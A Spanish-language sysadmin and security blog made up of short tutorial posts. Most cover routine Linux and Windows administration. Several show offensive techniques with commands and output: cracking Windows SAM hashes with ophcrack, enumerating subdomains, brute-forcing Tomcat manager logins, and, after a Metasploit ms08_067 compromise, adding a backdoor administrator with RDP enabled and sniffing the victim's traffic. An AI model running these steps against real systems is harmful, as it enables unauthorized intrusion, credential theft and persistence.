ophcrack, obtener contraseñas de windows

Recientemente hablamos sobre cómo conseguir un listado de la base de datos SAM de Windows, que contiene todas las contraseñas cifradas. Aunque este cifrado es ampliamente conocido, la explotación del mismo puede llevar bastante tiempo, así que hoy os quiero presentar un pequeño software que nos ayudará y mucho a agilizar el proceso de paso de caracteres extraños a contraseña 'entendible'. Se llama ophcrack y es un pequeño programa escrito en C y que tiene a mayores una serie de diccionarios. El modo de funcionamiento es muy similar al de un buscador. Previamente se han construido las contraseñas con su correspondiente encriptación y se han indexado. Ahora sólo hay que buscarlas y ya estará listo. Vamos a ver paso a paso, cómo trabajar con él.
  • Obtener ophcrack
    Este es el primer paso. Para conseguirlo nos vamos a la páguina oficial y lo descargamos. Existe una versión para Windows y otra para GNU/Linux. EN nuestro caso, descargamos la versión para Linux.
    Una vez la tengamos, sólo queda compilar el software. Para ello,
    shell> tar jxvf ophcrack-3.4.0.tar.bz2
    shell> cd ophcrack-3.4.0
    shell> ./configure
    shell> make
    shell> make install
    
  • Obtener las tablas de contraseñas
    Este es el segundo paso y realmente el más importante, ya que aquí en donde reside el potencial de este software. Para obtenerlas, vamos a la URL de descarga y seleccionamos el fichero que más nos convenga. Puesto que lo voy a emplear con un Windows XP, vamos a descargar el XP free fast.
  • Configurar ophcrack
    Ahora que ya tenemos todo preparado, simplemente arrancamos el software y desde el interfaz cargamos las tablas que se han descargado. Las tablas permanecerán en disco y serán cargadas en memoria cuando sea necesario emplearlas.
    El siguiente paso es cargar el fichero (o claves individuales) que se han obtenido (mira cómo hacerlo) y presionar en Crack. En muy poco tiempo tendremos todas las claves que se hayan podido encontrar (depende del diccionario empleado) en texto plano, como en la imagen.
Si ves que tras ejecutarlo casi no se obtiene ninguna contraseña con los diccionarios pequeños libres, eso es bueno ya que no es factible un ataque por diccionario y la contraseña usa símbolos.
Leer más

pdf a imagen e imagen a pdf

Hoy me surgió la necesidad de bajar un .pdf de calidad (es decir, de tamaño) después de sacarlo de un escáner. El fichero original ocupaba ~10Mb y la idea era que terminase ocupando aproximadamente la mitad, unos ~5Mb. para ello se me ocurrió la idea, puesto que era todo imágenes de pasarlo a .jpg, que con este paso perdiesen un poco de calidad y luego volverlos a juntar en .pdf. La verdad, la idea funcionó. para hacerlo, únicamente fue preciso nuestro preciado sistema operativo Gnu/Linux, el paquete imagemagick (disponible en repositorios) y un poco de paciencia para ajustar el resultado a la calidad deseada.
La idea es por lo tanto, partir de un fichero *.pdf, obtener cada una de las páginas (o un rango de ellas) en imágenes *.jpg y luego volver a pasarlas a .pdf, para tener la salida deseada. Primero vamos a pasar de .pdf a .jpg.
shell> convert entrada.pdf salida.jpg
Puesto que estamos trabajando con imágenes, podemos hacer si así lo deseamos que se pierda un poco de calidad, para que el resultado final sea el esperado (en cuanto a tamaño se refiere).
shell> convert -quality 90% entrada.pdf salida.jpg
En parámetro quality indica la comprensión o pérdida de calidad que se va a producir. Cuanto más alto, menos pérdida y cuanto más bajo más pérdida. A más pérdida, menos ocupará el fichero resultando. Tras mis pruebas, bajar más de un 85% en la calidad es peligroso, ya que implica asumir una gran pérdida.
Una vez que ya tenemos todos los ficheros en formato imagen, sólo queda juntarlos todos. Para ello,
shell> convert *.jpg salida_final.pdf
Por defecto, si usas una versión moderna de imagemagick ya aplicará una compresión, pero en caso contrario, se le puede indicar con el parámetro compress.
shell> convert -compress zip *.jpg salida_final.pdf
En caso de que nos interese hacer esto mismo con un rango de páginas del .pdf, lo podemos indicar en el momento de extraer las imágenes,
shell> convert entrada.pdf[5-10] salida.jpg
Leer más

Comprobar estado de las contraseñas en GNU/Linux

GNU/Linux almacena los usuario en /etc/passwd y las contraseñas de los mismos en /etc/shadow. Entre ambos ficheros hay una relación lógica. Por norma general, para cambiar algo referente a las contraseñas hay que emplear el comando passwd, el cual tiene una opción (-S) que permite consultar el estado actual de la contraseña. El único parámentro que hay que pasarle por lo tanto es el nombre de usuario.
shell> passwd -S javier
javier P 08/16/2012 0 30 5 -1
Las opciones que tienen las contraseñas son:
L  -> Contraseña bloqueada
NP -> Sin contraseña
P  -> Contraseña válida
A mayores también ofrece información sobre la fecha del último cambio de contraseña y otra información referente a las contraseñas (mínimo y máximo tiempo de cambio, etc.).
Si queremos ver el estado de las contraseñas de todos los usuarios, como root, podemos ejecutar,
shell> getent passwd | awk 'BEGIN{FS=":"}{print $1}' | \
       while read user; do passwd -S $user; done
Leer más

Obtener un listado de subdominios

En muchas ocasiones es necesario saber qué subdominios tiene una empresa públicos en Internet para garantizar que los que tiene son los que efectivamente debería de tener. Una buena forma de averiguarlo está en el programa dnsmap, que es un pequeño código escrito en C (795 líneas nada más) y que permiten escanear un dominio en busca de todos los subdominios que éste tiene, sacando un informe final. Saber las máquinas que hay disponibles en una red es muy importante, al igual que saber las personas o correos de esa organización. Para comenzar, vamos a ver cómo trabajar con dnsmap. Comenzamos bajándolo de la web oficial. Una vez lo tenemos, simplemente lo descomprimimos y compilamos para poder usarlo.
shell> tar zxvf dnsmap-0.30.tar.gz
shell> cd dnsmap-0.30
shell> gcc -Wall dnsmap.c -o dnsmap
shell> ./dnsmap
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)

usage: dnsmap  [options]
options:
-w 
-r 
-c 
-d 
-i  (useful if you're obtaining false positives)

e.g.:
dnsmap target-domain.foo
dnsmap target-domain.foo -w yourwordlist.txt -r /tmp/domainbf_results.txt
dnsmap target-fomain.foo -r /tmp/ -d 3000
dnsmap target-fomain.foo -r ./domainbf_results.txt
dnsmap trae por defecto un listado de palabras que empleará como subdominios a buscar y que están listadas en el fichero dnsmap.h, sin embargo también permite pasarle como argumento un listado de palabras que serán usadas. Finalmente, nos puede sacar un listado en fichero de texto o por pantalla. La forma de usarlo,
shell> ./dnsmap company.com 
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)

[+] searching (sub)domains for company.com using built-in wordlist
[+] using maximum random delay of 10 millisecond(s) between requests

beta.company.com
IP address #1: 91.X.X.X

downloads.company.com
IP address #1: 91.X.X.X

files.company.com
IP address #1: 92.X.X.X

jabber.company.com
IP address #1: 91.X.X.X

mail.company.com
IP address #1: 165.X.X.X

ns.company.com
IP address #1: 92.X.X.X

public.company.com
IP address #1: 51.X.X.X

rt.company.com
IP address #1: 91.X.X.X

www.company.com
IP address #1: 91.X.X.X

[+] 9 (sub)domains and 9 IP address(es) found
[+] completion time: 89 second(s)
En caso de que las palabras por defecto no den un buen resultado, se puede pasar un listado de palabras (el que trae o un propio) para descubrir todos aquellos subdominios que puedan interesar.
Leer más

Comandos interesantes, agedu

Hoy os quiero presentar un pequeño programa, muy sencillo, pero a la vez muy útil, que presenta de forma gráfica (página web) los resultados de ocupación en disco con colores e indicando antigüedad de los ficheros. Se llama agedu.
agedu simplemente se dedica a escanear el disco en busca de los ficheros o lo que ocupa cada directorio, para finalmente guardar un informe final en un fichero que posteriormente podrá ser procesado y presentado. Para instalarlo, desde debian/ubuntu,
shell> apt-get install agedu
Tras la instalación, probamos a ejecutarlo, para ver las opciones y posibilidades que nos ofrece.
shell> agedu
usage: agedu [options] action [action...]
actions:
  -s,--scan directory      scan and index a directory
  -w,--web                 serve HTML reports in a web server
  -t,--text subdir         print a plain text report on a subdir
  -R,--remove              remove the index file
  -D,--dump                dump the index file on stdout
  -L,--load                load and index a dump file
  -S,--scan-dump dir       scan only, generating a dump
  -H,--html subdir         print an HTML report on a subdirectory
  --cgi                    do the right thing when run from a CGI
options:
  -f,--file filename       [most modes] specify index file
  --cross-fs               [--scan] cross filesystem boundaries
  --no-cross-fs            [--scan] stick to one filesystem
  --prune wildcard         [--scan] prune files matching pattern
  --prune-path wildcard    [--scan] prune pathnames matching pattern
  --exclude wildcard       [--scan] exclude files matching pattern
  --exclude-path wildcard  [--scan] exclude pathnames matching pattern
  --include wildcard       [--scan] include files matching pattern
  --include-path wildcard  [--scan] include pathnames matching pattern
  --progress               [--scan] report progress on stderr
  --no-progress            [--scan] do not report progress
  --tty-progress           [--scan] report progress if stderr is a tty
  --dir-atime              [--scan,--load] keep real atimes on directories
  --no-dir-atime           [--scan,--load] fake atimes on directories
  --mtime                  [--scan] use mtime instead of atime
  --files                  [--web,--html,--text] list individual files
  -r,--age-range age[-age] [--web,--html] set limits of colour coding
  -o,--output filename     [--html] specify output file or directory name
  --address addr[:port]    [--web] specify HTTP server address
  --auth type              [--web] specify HTTP authentication method
  --auth-file filename     [--web] read HTTP Basic user/pass from file
  --auth-fd fd             [--web] read HTTP Basic user/pass from fd
  -d,--depth levels        [--text,--html] recurse to this many levels
  -a,--age age             [--text] include only files older than this
also:
  -h,--help                display this help text
  -V,--version             report version number
  --licence                display (MIT) licence text

Tras un vistazo rápido a las opciones, vemos que lo que nos interesa es realizar un escaneo del disco para que indexe la información que interesa, así que por lo tanto, lo ejecutamos con la opción -s y el directorio del que nos interese sacar información. En nuestro caso /, ya que queremos tener información de todo el disco.
shell> agedu -s /
Al finalizar nos habrá creado un fichero en el directorio donde se haya ejecutado, agedu.dat, que tendrá toda la información sobre el disco. EL fichero que genera es de tipo binario, por lo que es necesario recurrir nuevamente a agedu con la opción de montar un servidor web para poder visualizar los datos.
shell> agedu -w --auth none
URL: http://127.0.0.1:58573/
Al acceder a esa dirección se podrá visualizar y navegar por los directorios, teniendo de forma 100% visual información del estado del disco.

Leer más

metasploit, conexión a escritorio remoto

Hay una cosa que está clara, si Windows ha triunfado es por su escritorio y por la 'facilidad' de manejo que éste ofrece. Casi cualquier cosa la puedes hacer de forma simple con el ratón y viéndolo, mientras que el uso de windows desde línea de comandos es más bien complejo. Permite hacer una gran cantidad de cosas, pero más complejas. Para solucionarlo, Windows permite compartir el escritorio con otros equipos y así facilitar la vida a los administradores (y también, por ende a los atacantes). Hoy vamos a ver una forma muy simple de crear un nuevo usuario y activar para él el acceso a escritorio remoto una vez que tenemos una sesión de meterpreter.
msf exploit(ms08_067_netapi)> sessions -l

Active sessions
===============

Id  Type         Information   Connection
--  ----         -----------   ----------
 1  meterpreter  NT AUTHORITY  192.168.1.33:4444 -> 192.168.1.50:1125
Pues bien, accedemos a la sesión de meterpreter y empleamos comando/exploit getgui que como su nombre apunta, 'da un acceso gráfico'.
msf exploit(ms08_067_netapi)> sessions -i 1
[*] Starting interaction with 1...

meterpreter> run getgui
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u username -p password
Or:    getgui -e

OPTIONS:

  -e       Enable RDP only.
  -f opt   Forward RDP Connection.
  -h       Help menu.
  -p opt   The Password of the user to add.
  -u opt   The Username of the user to add.
Es necesario pasarle los parámetros adecuados, es decir, el nombre y la contraseña del nuevo usuario que vamos a crear con acceso remoto.
meterpreter> run getgui -u shell -p p0wned
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator 
[*] Carlos Perez carlos_perez@darkoperator.com 
[*] Enabling Remote Desktop 
[*]  RDP is disabled; enabling it ... 
[*] Setting Terminal Services service startup mode 
[*]  The Terminal Services service is not set to auto, changing it
[*]  Opening port in local firewall if necessary 
[*] Setting user account for logon 
[*]  Adding User: shell with Password: p0wned 
[*]  Adding User: shell to local group Remote Desktop Users 
[*]  Adding User: shell to local group Administrators 
[*] You can now login with the created user 
[*] For cleanup use command: run multi_console_command -rc ~/clean_up.rc
En caso de que hayamos empleado algún otro método para saber la contraseña de los usuarios ya creados, también podemos emplear este exploit para habilitar el acceso de escritorio remoto y así poder acceder al equipo.
meterpreter> run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*]  RDP is already enabled
[*] Setting Terminal Services service startup mode
[*]  The Terminal Services service is not set to auto, changing it
[*]  Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc ~/clean_up.rc
Leer más

Cambio fecha de ficheros

Prácticamente todos los sistemas de ficheros modernos almacenan por seguridad la fecha de creación o de última modificación de los ficheros y se suele pensar que alterar ésta es complicado. La fecha de modificación, obviamente no, se abre el fichero y al volver a guardarlo ya queda modificada, pero la fecha de creación ya no es tan simple.
En este post, y sirviéndonos del comando touch veremos que alterar una fecha no es nada complicado, sino más bien todo lo contrario.
shell> ls -l
total 560
-rw-r--r-- 1 javier javier 553136 Mar 14 13:14 debian-6.0.4-i386-CD-1.iso
-rw-r--r-- 1 javier javier   6943 Mar 14 13:14 listado.csv
-rw-r--r-- 1 javier javier    317 Mar 14 13:14 web.txt
Empleamos el comando touch para modificar la fecha.
shell> touch -t 1203021150 listado.csv
El comando ejecutado es muy sencilla, simplemente le pasamos la opción "-t fecha" con la fecha que nos interesaba de creación de fichero. El formato de la fecha es año (12), mes (03), día (02), hora (11) y minutos (50). Ahora volvemos a comprobar la fecha de los ficheros y vemos que listado.csv ha cambiado correctamente.
shell> ls -l
total 560
-rw-r--r-- 1 javier javier 553136 Mar 14 13:14 debian-6.0.4-i386-CD-1.iso
-rw-r--r-- 1 javier javier   6943 Mar  2 11:50 listado.csv
-rw-r--r-- 1 javier javier    317 Mar 14 13:14 web.txt
Leer más

Windows 7, cliente NFS


Por fin, después de mucho tiempo descubro, por casualidad, que la última versión del sistema operativo de Microsoft (Windows 7) tiene la posibilidad de tener un cliente nativo de NFS para acceder a recursos en red. Quizás por fin hayan descubierto que NFS es mejor protocolo para compartir ficheros, quizás sepan que en las redes hay servidores con NFS, etc. Sea lo que sea, lo importante es que ya se puede montar una unidad de red a través de NFS.

Para comer usarla, primero tenemos que instalar los componentes de Windows necesarios.

Tras elegir el cliente NFS y aceptar se instalará el software que falte para tener dicho componente activo. Ahora, una vez lo tengamos tenemos que abrir una consola (cmd) como usuario administrador y ejecutar en ella el resto de comandos. Lo único que necesario será habilitar el servicio NFS.

C:\> nfsadmin client start

The service was started successfully.
Y tras ello, montar la unidad de red, tal como sigue,
C:\> mount -o anon,nolock,r,casesensitive \\192.168.0.10\home *
Z: is now successfully connected to \\192.168.0.10\home

The command completed successfully.
Para desmontarla, al más puro estilo GNU/Linux, umount.
C:\> umount.exe Z:

Disconnecting           Z:      \\192.168.0.10\home
The command completed successfully.
Leer más

Extraer contenido de paquete .deb

En algunas ocasiones puede ser necesario saber el contenido de un paquete *.deb (debian/ubuntu), pero no así tener la necesidad de instalarlo. Para poder descomprimir el contenido de un *.deb, existe la utilidad dpkg, que tiene una opción para tal efecto, --extract. Al usarla, dejará el contenido del paquete en una carpeta contenedora con los ficheros y carpetas que éste traiga internamente. Se podría considerar que el --extract es similar a instalar el paquete en un directorio local.
shell> ls
dropbox  nautilus-dropbox_0.7.0_i386.deb
shell> dpkg -x nautilus-dropbox_0.7.0_i386.deb dropbox
shell> cd dropbox/
shell> ls
usr
Leer más

Loguear comandos en GNU/Linux

Hace unos días descubrí por casualidad un interesante proyecto, snoopy, que no es más que un pequeño wrapper que se encarga de 'loguear' todos aquellos comandos que un usuario ejecuta en la shell en los ficheros de log. Gracias a ello, podemos saber en todo momento qué fue lo que se ejecutó y sobre todo, quién lo ejecutó. snoopy es por lo tanto un comando muy interesante, ya que de forma muy simple, permite depurar responsabilidades.
Para instalar snoopy puedes hacerlo desde repositorios o desde código fuente, descargable desde aquí.
shell> apt-get install snoopy
o bien,
shell> wget snoopy
shell> tar zxvf snoopy-1.8.0.tar.gz
shelL> cd snoopy-1.8.0
shell> ./configure
shell> make
shell> make install
shell> echo "/usr/local/lib/snoopy.so" >> /etc/ld.so.preload
Tras tenerlo instalado, lo único que será necesario será reiniciar la sesión de usuario y ya cargará la nueva directiva de logueo. Tras ello, en /var/log/auth.log quedará un registro de todo aquello que se está ejecutando en el sistema y quién lo ha ejecutado.
shell> tail -f /var/log/auth.log
Sep  6 13:03:24 server_5 snoopy[7890]: [uid:0 sid:7707 tty:/dev/pts/2 cwd:/root filename:/usr/bin/tail]: tail -f /var/log/auth.log
Sep  6 13:03:29 server_5 snoopy[7904]: [uid:1002 sid:7830 tty:/dev/pts/0 cwd:/home/javier filename:/bin/su]: su
Sep  6 13:04:36 server_5 snoopy[7970]: [uid:1002 sid:7918 tty:/dev/pts/4 cwd:/home/javier filename:/bin/ls]: ls --color=auto -l
Como se puede observar, queda la sesión (tty) de la persona que lo ha ejecutado, no el nombre, así que habrá que emplear el comando who para saber quién la tenía. Para ello,
shell> who /var/log/wtmp
A partir de ahora siempre podréis saber quién ejecutó qué comando.
Leer más

Windows: variables de sistema

Windows, al igual que GNU/Linux tiene también una serie de variables de entorno que permiten trabajar más fácilmente. Para saber cuales son, desde la consola (cmd) podemos averiguarlo de forma simple,
cmd> set
  ALLUSERSPROFILE=C:\Documents and Settings\All Users
  APPDATA=C:\Documents and Settings\Administrador\Datos de programa
  CLIENTNAME=Console
  CommonProgramFiles=C:\Archivos de programa\Archivos comunes
  COMPUTERNAME=WIN-VIRT
  ComSpec=C:\WINDOWS\system32\cmd.exe
  FP_NO_HOST_CHECK=NO
  HOMEDRIVE=C:
  HOMEPATH=\Documents and Settings\Administrador
  LOGONSERVER=\\WIN-VIRT
  NUMBER_OF_PROCESSORS=1
  OS=Windows_NT
  Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
  PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
  PROCESSOR_ARCHITECTURE=x86
  PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 7, GenuineIntel
  PROCESSOR_LEVEL=6
  PROCESSOR_REVISION=0f07
  ProgramFiles=C:\Archivos de programa
  PROMPT=$P$G
  SYS=C:\
  SystemDrive=C:
  SystemRoot=C:\WINDOWS
  TEMP=C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp
  TMP=C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp
  USERDOMAIN=WIN-VIRT
  USERNAME=Administrador
  USERPROFILE=C:\Documents and Settings\Administrador
  windir=C:\WINDOWS
Y también con el mismo comando podemos establecer nuevas variables para el sistema en caso de interesarnos. El formato:
cmd> set VAR=CADENA
Por ejemplo,
cmd> set P=ALL\ DATA
Leer más

Error de GPG: http://extras.ubuntu.com

Si obtenemos este error, es lógicamente por que nos falta la clave pública de dicho repositorio.
shell> apt-get update
....
Descargados 850 kB en 1seg. (508 kB/s)
Leyendo lista de paquetes... Hecho
W: Error de GPG: http://extras.ubuntu.com precise Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible: NO_PUBKEY 16126D3A3E5C1192
La solución, importarla.
shell> gpg --ignore-time-conflict \
> --no-options \
> --no-default-keyring \
> --secret-keyring /tmp/tmp.s5o4mutMRY \
> --trustdb-name /etc/apt/trustdb.gpg \
> --keyring /etc/apt/trusted.gpg \
> --primary-keyring /etc/apt/trusted.gpg \
> --keyserver hkp://keyserver.ubuntu.com:80/ \
> --recv 16126D3A3E5C1192

Leer más

puppet manifest for ntp

Clase ntp:
class ntp {
   package { "ntp":
      ensure     => installed;
   }

   group { "ntp":
      ensure     => present;
   }

   define ntpconf ($ntpserver = [ "0.debian.pool.ntp.org" ]) {
      file { "/etc/ntp.conf":
         owner   => root,
         group   => root,
         mode    => 644,
         content => template("ntp.conf.erb"),
         require => Package[ "ntp" ],
         notify  => Service[ "ntp" ];
      }
   }

   service { "ntp":
      name       => $operatingsystem ?{
         debian  => "ntp",
         ubuntu  => "ntp",
         default => "ntpd",
      },
      ensure     => running,
      enable     => true,
      provider   => debian,
      subscribe  => File[ "/etc/ntp.conf" ];
   }
}
Y la forma de usarlo,
include ntp
ntp::ntpconf { "ntp":
   ntpserver => [ "0.debian.pool.ntp.org", "127.0.0.1" ]
}
Leer más

metasploit, credenciales tomcat

metasploit tiene una gran cantidad de módulos que permiten comprobar la seguridad y fortaleza de un gran número de servicios y aplicaciones. En este caso vamos a ver cómo poder comprobar la fortaleza de tomcat y para ello emplearemos el módulo tomcat_mgr_login. Recordar que sólo nos interesa saber si hay una brecha de seguridad en combinaciones de usuario + contraseña, no aprovecharla, así que nos ponemos a trabajar.
Aquí hay que decir que es importante tener unos ficheros de usuarios y contraseñas buenos, ya que los que trae por defecto, no suelen funcionar.
msf> use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login)> info

       Name: Tomcat Application Manager Login Utility
     Module: auxiliary/scanner/http/tomcat_mgr_login
    Version: 14871
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  MC <mc@metasploit.com>
  Matteo Cantoni <goony@nothink.org>
  jduck <jduck@metasploit.com>

Basic options:
Name              Current Setting
----              ---------------
BLANK_PASSWORDS   true
BRUTEFORCE_SPEED  5
PASSWORD
PASS_FILE         data/wordlists/tomcat_mgr_default_pass.txt
Proxies
RHOSTS
RPORT             8080
STOP_ON_SUCCESS   false
THREADS           1
URI               /manager/html
USERNAME
USERPASS_FILE     data/wordlists/tomcat_mgr_default_userpass.txt
USER_AS_PASS      true
USER_FILE         data/wordlists/tomcat_mgr_default_users.txt
VERBOSE           true
VHOST

Description:
  This module simply attempts to login to a Tomcat Application Manager 
  instance using a specific user/pass.

References:
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3843
  http://www.osvdb.org/60317
  http://www.securityfocus.com/bid/37086
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4189
  http://www.osvdb.org/60670
  http://www.zerodayinitiative.com/advisories/ZDI-09-085/
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4188
  http://www.securityfocus.com/bid/38084
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0557
  http://www-01.ibm.com/support/docview.wss?uid=swg21419179
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4094
  http://www.zerodayinitiative.com/advisories/ZDI-10-214/
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3548
  http://www.osvdb.org/60176
  http://www.securityfocus.com/bid/36954
  http://tomcat.apache.org/
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0502
Ahora lo configuramos correctamente,
msf auxiliary(tomcat_mgr_login)> set STOP_ON_SUCCESS false
msf auxiliary(tomcat_mgr_login)> set RHOSTS 192.168.1.21
msf auxiliary(tomcat_mgr_login)> set RPORT 80
msf auxiliary(tomcat_mgr_login)> USER_AS_PASS true
msf auxiliary(tomcat_mgr_login)> USERPASS_FILE /tmp/user-pass.txt
Una vez que ya está configurado, simplemente es cuestión de dejarlo ejecutando. Puesto que nos interesa una auditoría completa del tomcat, aunque encuentre un usuario con credenciales válidas no nos interesa que pare. La ejecución puede llevar un tiempo, en función de vuestras combinaciones.
msf auxiliary(tomcat_mgr_login)> run

[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'admin' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'admin'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'manager' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'manager'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'role1' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'role1'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'root' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'root'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'tomcat' with password:''
...
Una vez finalizadas todas las iteraciones tendremos un listado de todos los usuarios válidos para hacer login, en caso de que los hubiese. Lo idea, que no los haya, así que si os sale alguno, corregirlo rápidamente.
Leer más

xen, instalación de máquina windows desde iso

Aunque ya hemos hablado en este blog alguna vez de xen, siempre nos referimos a XenServer, la versión de pago de xen. En este caso vamos a hablar sobre cómo crear una nueva máquina (en este caso Windows XP, pero extrapolable a cualquier otro sistema operativo) en la versión gratuita de xen. En nuestro caso emplearemos la versión de Debian y las xen-utils-common.
Si estamos empleando las xen-tools, la instalación de máquinas debian/ubuntu es muy sencilla, pero con máquinas que precisen de intervención para su instalación (como es el caso de Windows) la cosa se complica. Así que vamos a ver cómo crear el fichero de configuración para que emplee una iso para arrancar y cómo activar VNC para poder interactuar con la máquina durante la instalación.
Antes de comenzar tenemos que preparar el disco sobre el que vamos a realizar la instalación. Como vamos a emplear LVM, creamos un nuevo disco,
shell> lvcreate -L 25G -n windows-disk vg0
Ahora creamos el fichero de configuración,
builder      = 'hvm'
memory       = '1024'
device_model = '/usr/lib/xen-4.0/bin/qemu-dm'

disk         = [ 'phy:/dev/vg0/windows-disk,ioemu:hda,w',
                 'file:/home/javier/win.iso,hdc:cdrom,r'
               ]

name = 'windows'

vif = [ 'bridge=eth0' ]

boot='d'
vnc = 1
vncviewer = 1
vnclisten="192.168.1.2"
sdl = 0
on_poweroff = 'destroy'
on_reboot   = 'restart'
on_crash    = 'restart'
Las partes importantes son las destacadas con negrita, que se refieren al paso de la imagen iso como dispositivo cdrom de entrada al Windows. También se le indica que arranque desde el dispositivo d (boot='d') y que permita una conexión vnc a la IP del servidor xen. Tras tener el fichero de configuración listo, arrancamos la máquina.
shell> xm create windows.cfg
Ahora ya se podrá acceder vía vnc a la pantalla de la máquina, para proceder con la instalación. Cuando ésta termine, será aconsejable deshabilitar la conexión vnc, el cdrom virtual (si no se va a emplear) e indicar que arranque desde el disco C (disco duro 'local'). Quedaría entonces tal que así,
builder      = 'hvm'
memory       = '1024'
device_model = '/usr/lib/xen-4.0/bin/qemu-dm'

disk         = [ 'phy:/dev/vg0/windows-disk,ioemu:hda,w' ]

name = 'windows'

vif = [ 'bridge=eth0' ]

boot='c'
sdl = 0
on_poweroff = 'destroy'
on_reboot   = 'restart'
on_crash    = 'restart'
Leer más

Comandos interesantes, finger

finger es un simple comando que ofrece información acerca de un usuario. Ofrece información a un usuario acerca de si mismo o de otros usuarios (de equipos locales o remotos). Desde el nombre completo del usuario, el nombre de login, así como las últimas veces que se ha conectado y otros tipos de información.
finger está disponible para ejecutarse en local con el comando finger, o remotamente con un servidor (fingerd) que recauda información de los usuarios por los equipos de la red, para tener reportes locales completos.
shell> apt-get install finger
Una vez instalado el comando, se puede ejecutar en cualquier equipo pasándole como argumento el nombre de usuario, tal como sigue.
shell> finger javier
Login: javier            Name: Javier Terceiro
Directory: /home/javier              Shell: /bin/bash
On since Mon Sep  3 08:38 (CEST) on tty7 from :0
    3 days 3 hours idle
     (messages off)
On since Thu Sep  6 09:55 (CEST) on pts/0 from :0.0
   8 seconds idle
On since Thu Sep  6 10:03 (CEST) on pts/1 from :0.0
On since Thu Sep  6 11:12 (CEST) on pts/2 from :0.0
   1 hour 12 minutes idle
No mail.
No Plan.
La instalación de un pequeño servidor fingerd lo dejaremos para otra entrada.
Leer más

Envío de mensajes jabber desde consola

jabber es un protocolo ampliamente conocido y soportado. Lo puedes emplear en tu empresa, con un servidor propio o usar por ejemplo gtalk (que también emplear jabber por debajo). Puesto que jabber es realmente un protocolo y que la funcionalidad principal es la de chat, realmente interesa por que permite enviar mensajes directamente a un usuario de forma casi instantánea (siempre que esté conectado).
Zabbix por ejemplo permite el envío de mensajes de alertas directamente a jabber, lo cual denota la rapidez e importancia de dicho protocolo. Pues bien, en caso de que deseemos que un determinado script envíe una notificación por jabber, ¿lo podemos hacer? ¿Cómo?
La respuesta es , lo podemos hacer. Y el cómo, lo vamos a ver a continuación.
shell> apt-get install sendxmpp
Tras la instalación del software necesario, simplemente lo tenemos que configurar. Para ello creamos el fichero ~/.sendxmpprc con los datos que nos interese.
usuario@company.com passwd_secreta
usuario@company.com;jabber.company.com passwd_secreta
usuario@company.com:445 passwd_secreta
Y a continuación enviamos desde la consola un mensaje de prueba.
shell> echo -e "Mensaje de prueba" | sendxmpp javier@company.com
Para más información de cómo usar el comando, man sendxmpp.
Leer más

metasploit, sniff a windows interface

Para aquellos que empleéis metasploit  y todavía no sepáis todas las posibilidades que ofrece para la post explotación, hoy os voy a presentar una realmente interesante. El empleo de un sniffer desde meterpreter que facilita y cuanto, la captura de información en red una vez el sistema está comprometido.
Como siempre, lo complicado es acceder al sistema, pero una vez tengamos acceso, simplemente podemos seguir estos sencillos pasos,
  1. Acceso a un sistema comprometido
    msf exploit(ms08_067_netapi)> sessions -l
    
    Active sessions
    ===============
    
    Id Type                   Connection
    -- ----                   ----------
    1  meterpreter x86/win32  192.168.1.33:4444 -> 192.168.1.50:2813
    
    msf exploit(ms08_067_netapi)> sessions -i 1
    [*] Starting interaction with 1...
    
    meterpreter>
    
  2. Cargar el sniffer
    meterpreter> use sniffer
    Loading extension sniffer...success.
    meterpreter> help
    Sniffer Commands
    ================
    
    Command             Description
    -------             -----------
    sniffer_dump        Retrieve captured packet data to PCAP file
    sniffer_interfaces  Enumerate all sniffable network interfaces
    sniffer_release     Free captured packets on a specific interface
    sniffer_start       Start packet capture on a specific interface
    sniffer_stats       View statistics of an active capture
    sniffer_stop        Stop packet capture on a specific interface
    
  3. Comenzar a capturar
    meterpreter> sniffer_interfaces
    
    1 - 'NIC Fast Ethernet PCI Familia RTL8139 de Realtek'...
    
    meterpreter> sniffer_start 1
    [*] Capture started on interface 1 (50000 packet buffer)
    
  4. Obtener estadísticas de capturas
    meterpreter> sniffer_stats 1
    [*] Capture statistics for interface 1
     packets: 333
     bytes: 139212
    
  5. Analizar los datos
    meterpreter> lpwd
    /home/javier
    meterpreter> sniffer_dump 1 1.pcap
    [*] Flushing packet capture buffer for interface 1...
    [*] Flushed 348 packets (147971 bytes)
    [*] Downloaded 100% (147971/147971)...
    [*] Download completed, converting to PCAP...
    [*] PCAP file written to 1.pcap
    
    meterpreter> sniffer_stop 1
    [*] Capture stopped on interface 1
